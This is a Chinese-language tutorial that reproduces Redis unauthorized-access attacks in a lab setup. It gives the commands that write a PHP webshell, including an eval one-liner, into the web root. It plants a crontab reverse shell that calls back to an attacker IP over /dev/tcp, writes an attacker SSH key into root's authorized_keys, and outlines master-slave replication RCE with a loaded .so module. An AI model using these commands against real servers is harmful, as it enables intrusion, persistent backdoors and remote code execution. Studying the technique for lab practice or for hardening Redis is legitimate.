浅谈Redis未授权漏洞
0x01 环境搭建
环境介绍
目标靶机:Centos 7
靶机ip:192.168.122.133
攻击机:window
连接工具:
(1)redisclient (2)RedisDesktopManager
下载Redis
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
环境搭建
tar xzvf redis-2.8.17.tar.gz #解压安装包
cd redis-2.8.17 # 进入redis目录
make #编译
cd src/ #进入src目录
cp redis-server /usr/bin/
cp redis-cli /usr/bin/ #将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)
cd .. # 返回上一级目录
cp redis.conf /etc/ #将redis.conf拷贝到/etc/目录下
redis-server /etc/redis.conf # 使用/etc/目录下的redis.conf文件中的配置启动redis服务
服务启动成功
0x02 未授权登录
使用redisclient或者RedisDesktopManager连接靶机Redis服务:redisclient下载地址
- redisclient:
2.RedisDesktopManager:
3.redis-cli.exe
4.利用蚁剑插件连接redis
打开蚁剑->点击antsword
->选择插件市场->Redis管理,进行插件的安装。
复现过程中踩过的坑:
1.没有关闭Centos防火墙,导致redis连接失败。
0x03 利用Redis写webshell
利用前提:
(1)靶机redis未授权,在攻击机能用redis clinet连接,并未登录验证
(2)靶机开启web服务,并且知道网站路径,还需要具有文件读写增删改查权限
靶机已经开启web服务,根目录为/var/www/html
这里使用redis clinet写入webshell
写入webshell
config set dir /var/www/html
config set dbfilename test.php
set webshell "<?php phpinfo(); ?>"
save
写入一句话webshell
<?php @eval($_POST['123']); ?>
写入后,通过蚁剑连接webshell
0x04 利用crontab计划任务反弹shell
1.首先在攻击机上使用nc监听一个端口,用于反弹shell
nc -lvnp 5555
2.使用redis-cli连接redis,写入反弹shell
redis-cli.exe -h 192.168.122.133
config set dir /var/spool/cron
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.200.90.60/5555 0>&1\n\n\n"
config set dbfilename root
save
反弹shell成功!
0X05 写入SSH公钥实现SSH登录
利用原理
原理就是在数据库中插入一条数据,将本机的公钥作为value值,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。
利用条件
- 知道启动服务的用户
- 拥有.ssh目录
- 允许使用基于密钥认证的方式登陆
复现过程
1.先在KALI上生成一个ssh公钥
ssh-keygen -t rsa
2.将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt
3.再把key.txt文件内容写入redis缓冲
cat /root/.ssh/key.txt |redis-cli -h 192.168.10.139 -x set pub
4.设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成),当目标使用过ssh服务之后,就会产生.ssh目录了,然后进行如下操作
5.测试是否可以通过ssh登录目标服务器,成功登录
0x06 主从复制rce
什么是主从复制
主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。
主从复制RCE主要原理就是,攻击机通过协议认证成为主节点,目标redis服务器为从节点,通过全量复制将文件内容输出到目标服务器上(也就是写入so文件)。然后加载.so
文件,完成命令执行。
利用条件
- redis版本:Redis 4.x-Redis 5.x
利用脚本
复现过程
执行脚本,填入本地ip,redis服务器ip,so文件,选择i可以直接交互执行命令